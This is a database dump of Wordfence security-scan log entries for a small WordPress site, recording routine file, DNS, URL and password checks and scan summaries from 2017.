(117910, 1492265533.270359, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117911, 1492265534.545924, 2, 'info', 'Analyzed 1900 files containing 30.45 MB of data so far'),
(117912, 1492265534.920306, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117913, 1492265535.152992, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117914, 1492265535.516772, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117915, 1492265535.755542, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117662, 1492072420.506504, 2, 'info', 'Done host key check.'),
(117391, 1491943542.992328, 2, 'info', 'Scanned contents of 40 additional files at 19.47 per second'),
(118088, 1492290933.534632, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117070, 1491750769.607819, 1, 'info', '-------------------'),
(117340, 1491943519.290776, 1, 'info', 'Scheduled Wordfence scan starting at Tuesday 11th of April 2017 08:45:19 PM'),
(117731, 1492108240.065961, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117730, 1492108239.674139, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118089, 1492290933.935482, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118090, 1492290934.108393, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(118091, 1492290934.377098, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118092, 1492290934.554513, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117805, 1492193116.421013, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117804, 1492193116.148815, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117285, 1491886402.670356, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117286, 1491886402.842688, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117287, 1491886403.129051, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118058, 1492290925.910273, 2, 'info', 'Getting plugin list from WordPress'),
(118059, 1492290925.923969, 2, 'info', 'Found 14 plugins'),
(118060, 1492290925.927564, 2, 'info', 'Getting theme list from WordPress'),
(118061, 1492290925.953736, 2, 'info', 'Found 4 themes'),
(118062, 1492290925.971866, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(117816, 1492193120.302107, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117815, 1492193119.874227, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118024, 1492280431.118628, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(118023, 1492280431.076324, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(117580, 1492058789.161984, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117282, 1491886401.226873, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117283, 1491886401.990081, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117284, 1491886402.407973, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117006, 1491750752.695505, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117370, 1491943535.745297, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117371, 1491943536.040442, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117372, 1491943536.415916, 2, 'info', 'Analyzed 1300 files containing 21.79 MB of data so far'),
(117373, 1491943536.589211, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117374, 1491943536.735433, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117375, 1491943536.958823, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117376, 1491943537.186348, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117377, 1491943537.944139, 2, 'info', 'Analyzed 1800 files containing 27.98 MB of data so far'),
(117378, 1491943538.738522, 2, 'info', 'Analyzed 1900 files containing 30.53 MB of data so far'),
(117487, 1491988779.343570, 2, 'info', 'Done file contents scan'),
(118065, 1492290929.968946, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(118240, 1499280689.843379, 2, 'info', 'Scanning comment with Author: Ann Weaver Email: bjzhzk@fjiauool.com Source IP: 81.171.81.55 '),
(118241, 1499280689.903410, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(117513, 1491988782.035408, 1, 'info', '-------------------'),
(117514, 1491988782.035769, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43923 records in 35 seconds.'),
(117784, 1492193101.472502, 1, 'info', 'Scheduled Wordfence scan starting at Friday 14th of April 2017 06:05:01 PM'),
(118164, 1492320247.312993, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(118163, 1492320247.077389, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118162, 1492320246.820239, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117922, 1492265537.041796, 2, 'info', 'Starting scan of file contents'),
(117923, 1492265538.151796, 2, 'info', 'Scanned contents of 28 additional files at 25.24 per second'),
(118193, 1492320257.747117, 2, 'info', 'Done host key check.'),
(118192, 1492320256.882616, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(118194, 1492320257.748417, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(118195, 1492320258.629653, 2, 'info', 'Done URL check.'),
(118196, 1492320258.649110, 2, 'info', 'Done file contents scan'),
(118197, 1492320258.650460, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(118177, 1492320251.905827, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118171, 1492320249.560198, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(118172, 1492320249.701162, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(118173, 1492320249.978579, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(118174, 1492320250.184421, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118175, 1492320250.964384, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(118176, 1492320251.655383, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(118087, 1492290933.253231, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(118086, 1492290933.001307, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118025, 1492280431.120644, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117145, 1491767413.788436, 2, 'info', 'Starting password strength check on 3 users.'),
(117989, 1492280417.111075, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117990, 1492280417.304971, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117991, 1492280418.078675, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117992, 1492280418.558372, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117575, 1492058789.078131, 2, 'info', 'Done URL check.'),
(117148, 1491767415.039708, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117576, 1492058789.090535, 2, 'info', 'Done file contents scan'),
(118026, 1492280431.990595, 2, 'info', 'Done host key check.'),
(116948, 1491702315.262297, 2, 'info', 'Scanned contents of 28 additional files at 27.69 per second'),
(117288, 1491886403.411314, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117289, 1491886404.802971, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(116949, 1491702316.277614, 2, 'info', 'Scanned contents of 41 additional files at 20.23 per second'),
(117294, 1491886407.512527, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117295, 1491886407.813124, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117296, 1491886407.872411, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117943, 1492265542.985578, 2, 'info', 'Starting password strength check on 3 users.'),
(118232, 1495637412.261090, 2, 'info', 'Scanning comment with Author: Chelsea Wallace Email: hqklgtrqgwh@fvrmaw.com Source IP: 81.171.81.234 '),
(117946, 1492265544.126504, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117200, 1491821931.641106, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117104, 1491767399.190569, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117103, 1491767398.846755, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117102, 1491767398.565648, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117101, 1491767398.215552, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117100, 1491767397.716284, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117099, 1491767397.358825, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118010, 1492280425.984358, 2, 'info', 'Starting scan of file contents'),
(117081, 1491767391.022730, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117082, 1491767391.907387, 2, 'info', 'Getting plugin list from WordPress'),
(117083, 1491767392.068163, 2, 'info', 'Found 14 plugins'),
(117084, 1491767392.076499, 2, 'info', 'Getting theme list from WordPress'),
(117085, 1491767392.131421, 2, 'info', 'Found 4 themes'),
(117602, 1492058791.946313, 1, 'info', '-------------------'),
(117603, 1492058791.946782, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43891 records in 33 seconds.'),
(118011, 1492280427.111542, 2, 'info', 'Scanned contents of 27 additional files at 24.01 per second'),
(118012, 1492280428.223044, 2, 'info', 'Scanned contents of 39 additional files at 17.44 per second'),
(118013, 1492280429.285101, 2, 'info', 'Scanned contents of 86 additional files at 26.07 per second'),
(118014, 1492280429.287965, 2, 'info', 'Scanned contents of 86 additional files at 26.05 per second'),
(118015, 1492280429.288560, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117596, 1492058791.428211, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117094, 1491767395.762669, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117095, 1491767396.103520, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117096, 1491767396.423575, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117097, 1491767396.765648, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117098, 1491767397.083388, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(118134, 1492290942.755868, 1, 'info', '-------------------'),
(118135, 1492290942.756904, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44556 records in 27 seconds.'),
(118133, 1492290942.720591, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(117043, 1491750767.339717, 2, 'info', 'Done URL check.'),
(118097, 1492290934.836174, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(117986, 1492280416.009392, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117987, 1492280416.317913, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117985, 1492280415.633519, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117984, 1492280415.260157, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117186, 1491821925.701428, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117184, 1491821925.107147, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117185, 1491821925.372183, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117538, 1492058773.572644, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117183, 1491821924.839731, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117626, 1492072410.730956, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117982, 1492280414.490925, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117983, 1492280414.827490, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117540, 1492058774.025212, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117539, 1492058773.814000, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(116968, 1491702320.202869, 2, 'info', 'Starting password strength check on 3 users.'),
(117771, 1492108252.873984, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117275, 1491886398.940250, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117276, 1491886399.291372, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117277, 1491886399.572694, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117894, 1492265527.080499, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117895, 1492265527.363531, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117896, 1492265527.732477, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117897, 1492265528.051836, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117569, 1492058787.257201, 2, 'info', 'Scanned contents of 81 additional files at 24.92 per second'),
(117568, 1492058786.198437, 2, 'info', 'Scanned contents of 39 additional files at 17.80 per second'),
(117159, 1491767415.216514, 1, 'info', '-------------------'),
(117160, 1491767415.223357, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43955 records in 34 seconds.'),
(117567, 1492058785.118303, 2, 'info', 'Scanned contents of 28 additional files at 25.19 per second'),
(117162, 1491767415.233064, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117824, 1492193124.322762, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117825, 1492193124.638232, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117759, 1492108250.642111, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117281, 1491886400.905530, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117395, 1491943544.765756, 2, 'info', 'Done host key check.'),
(117278, 1491886399.924260, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117279, 1491886400.326996, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117280, 1491886400.692924, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117684, 1492072423.842626, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117683, 1492072423.839265, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117682, 1492072423.829861, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118131, 1492290942.705937, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(117695, 1492108217.682129, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 06:30:17 PM'),
(117424, 1491943547.789546, 1, 'info', '-------------------'),
(117425, 1491943547.789965, 1, 'info', 'Scan Complete. Scanned 2410 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43756 records in 28 seconds.'),
(117828, 1492193125.190994, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117195, 1491821929.057044, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117947, 1492265544.127556, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118117, 1492290941.436337, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118118, 1492290941.533182, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117948, 1492265544.130159, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117949, 1492265544.145077, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117194, 1491821928.572418, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118230, 1493417858.951838, 2, 'info', 'Scanning comment with Author: Elisa Brown Email: exhneloegrv@fqehdcymi.com Source IP: 205.185.209.130 '),
(118231, 1493417859.034577, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(117951, 1492265544.146018, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117950, 1492265544.145632, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117193, 1491821928.023667, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117647, 1492072415.005511, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117648, 1492072415.161210, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117649, 1492072415.373755, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117650, 1492072415.395795, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117981, 1492280414.207158, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117980, 1492280413.992245, 10, 'info', 'SUM_START:Scanning for known malware files'),
(117979, 1492280413.988584, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(117978, 1492280413.987919, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(117655, 1492072416.307469, 2, 'info', 'Starting scan of file contents'),
(117656, 1492072417.312043, 2, 'info', 'Scanned contents of 27 additional files at 26.97 per second'),
(117657, 1492072418.318610, 2, 'info', 'Scanned contents of 37 additional files at 18.43 per second'),
(117658, 1492072419.355622, 2, 'info', 'Scanned contents of 65 additional files at 21.35 per second'),
(117659, 1492072419.648399, 2, 'info', 'Scanned contents of 86 additional files at 25.77 per second'),
(117660, 1492072419.648875, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117661, 1492072419.652074, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117196, 1491821929.367479, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117197, 1491821929.595701, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117198, 1491821929.949009, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117199, 1491821930.347743, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118104, 1492290938.775253, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117381, 1491943539.537198, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(116993, 1491750748.480521, 1, 'info', 'Contacting Wordfence to initiate scan'),
(116994, 1491750749.333955, 2, 'info', 'Getting plugin list from WordPress'),
(117504, 1491988781.493394, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117503, 1491988781.490932, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117502, 1491988781.490219, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118066, 1492290929.978600, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(117544, 1492058775.377868, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117791, 1492193111.771099, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117499, 1491988780.403220, 2, 'info', 'Starting password strength check on 3 users.'),
(118028, 1492280432.007951, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118027, 1492280431.991181, 2, 'info', 'Done examining URls'),
(117545, 1492058775.684144, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117546, 1492058776.052070, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117132, 1491767412.678924, 2, 'info', 'Done URL check.'),
(117133, 1491767412.705122, 2, 'info', 'Done file contents scan'),
(117024, 1491750758.802614, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117685, 1492072423.842962, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118085, 1492290932.824710, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117541, 1492058774.280066, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117028, 1491750761.436906, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117220, 1491821939.857681, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117221, 1491821940.700548, 2, 'info', 'Done URL check.'),
(117222, 1491821940.728268, 2, 'info', 'Done file contents scan'),
(118038, 1492280433.187469, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118039, 1492280433.187975, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118040, 1492280433.188939, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117226, 1491821940.807696, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117027, 1491750761.200217, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117026, 1491750760.948140, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117025, 1491750759.908265, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117228, 1491821941.648959, 2, 'info', 'Done host key check.'),
(117227, 1491821940.809869, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117229, 1491821941.649551, 2, 'info', 'Done examining URls'),
(118041, 1492280433.191573, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(117528, 1492058769.611893, 2, 'info', 'Found 4 themes'),
(117526, 1492058769.552193, 2, 'info', 'Found 14 plugins'),
(117527, 1492058769.555456, 2, 'info', 'Getting theme list from WordPress'),
(118042, 1492280433.198645, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(117524, 1492058768.614706, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117525, 1492058769.456780, 2, 'info', 'Getting plugin list from WordPress'),
(117049, 1491750767.426320, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118094, 1492290934.793434, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117048, 1491750767.425344, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117363, 1491943534.183636, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117364, 1491943534.370566, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117365, 1491943534.566478, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117366, 1491943534.752599, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117044, 1491750767.374963, 2, 'info', 'Done file contents scan'),
(118095, 1492290934.795075, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118096, 1492290934.799850, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(118132, 1492290942.709620, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(116962, 1491702319.849129, 2, 'info', 'Done host key check.'),
(116963, 1491702319.851648, 2, 'info', 'Done examining URls'),
(117766, 1492108251.646163, 2, 'info', 'Starting password strength check on 3 users.'),
(117259, 1491886393.377639, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117260, 1491886394.271708, 2, 'info', 'Getting plugin list from WordPress'),
(117261, 1491886394.462826, 2, 'info', 'Found 14 plugins'),
(117262, 1491886394.466205, 2, 'info', 'Getting theme list from WordPress'),
(117263, 1491886394.571032, 2, 'info', 'Found 4 themes'),
(117770, 1492108252.872114, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117769, 1492108252.871201, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118130, 1492290942.704386, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(118129, 1492290942.699680, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(117204, 1491821934.216797, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118123, 1492290942.687744, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118124, 1492290942.688367, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118125, 1492290942.690259, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118126, 1492290942.696345, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118127, 1492290942.696904, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118128, 1492290942.697224, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118212, 1492320260.806505, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118211, 1492320260.805518, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118210, 1492320260.804928, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117507, 1491988781.505653, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117505, 1491988781.504656, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117506, 1491988781.505173, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117917, 1492265536.105072, 2, 'info', 'Analyzed 2413 files containing 37.68 MB of data.'),
(117383, 1491943540.032937, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117384, 1491943540.052812, 2, 'info', 'Analyzed 2410 files containing 37.68 MB of data.'),
(118103, 1492290938.773453, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117617, 1492072407.499990, 2, 'info', 'Found 4 themes'),
(117460, 1491988767.465998, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117461, 1491988767.783891, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117462, 1491988767.994463, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117463, 1491988768.325890, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117464, 1491988768.662350, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117465, 1491988769.943266, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117106, 1491767400.146027, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117008, 1491750753.198630, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117009, 1491750753.421021, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118236, 1497408788.165362, 2, 'info', 'Scanning comment with Author: Sarah Hughes Email: ghfqfdsus@tqlqjagzcz.com Source IP: 196.52.32.11 '),
(118119, 1492290941.536714, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118120, 1492290941.537698, 2, 'info', 'Starting password strength check on 3 users.'),
(118121, 1492290942.668169, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(118122, 1492290942.687227, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117559, 1492058782.453999, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117560, 1492058783.038004, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118141, 1492320233.520096, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(117418, 1491943547.710171, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117591, 1492058791.418049, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118022, 1492280431.034024, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118021, 1492280431.030800, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(118019, 1492280431.004129, 2, 'info', 'Done URL check.'),
(118020, 1492280431.028389, 2, 'info', 'Done file contents scan'),
(118018, 1492280430.163039, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117588, 1492058790.236607, 2, 'info', 'Starting password strength check on 3 users.'),
(118017, 1492280430.161222, 2, 'info', 'Done host key check.'),
(118016, 1492280429.290020, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117109, 1491767400.991653, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117108, 1491767400.672147, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117107, 1491767400.444909, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117013, 1491750754.468363, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117011, 1491750753.881624, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117012, 1491750754.113024, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117010, 1491750753.660974, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117931, 1492265541.952396, 2, 'info', 'Done file contents scan'),
(118239, 1498328932.807493, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118238, 1498328932.705047, 2, 'info', 'Scanning comment with Author: Ann Weaver Email: idllhldszt@gouxwnil.com Source IP: 205.185.209.188 '),
(117935, 1492265542.015611, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117936, 1492265542.016988, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117937, 1492265542.864279, 2, 'info', 'Done host key check.'),
(117938, 1492265542.864965, 2, 'info', 'Done examining URls'),
(118146, 1492320242.108195, 2, 'info', 'Getting plugin list from WordPress'),
(118147, 1492320242.320886, 2, 'info', 'Found 14 plugins'),
(118148, 1492320242.325524, 2, 'info', 'Getting theme list from WordPress'),
(118149, 1492320242.401145, 2, 'info', 'Found 4 themes'),
(118150, 1492320242.428639, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
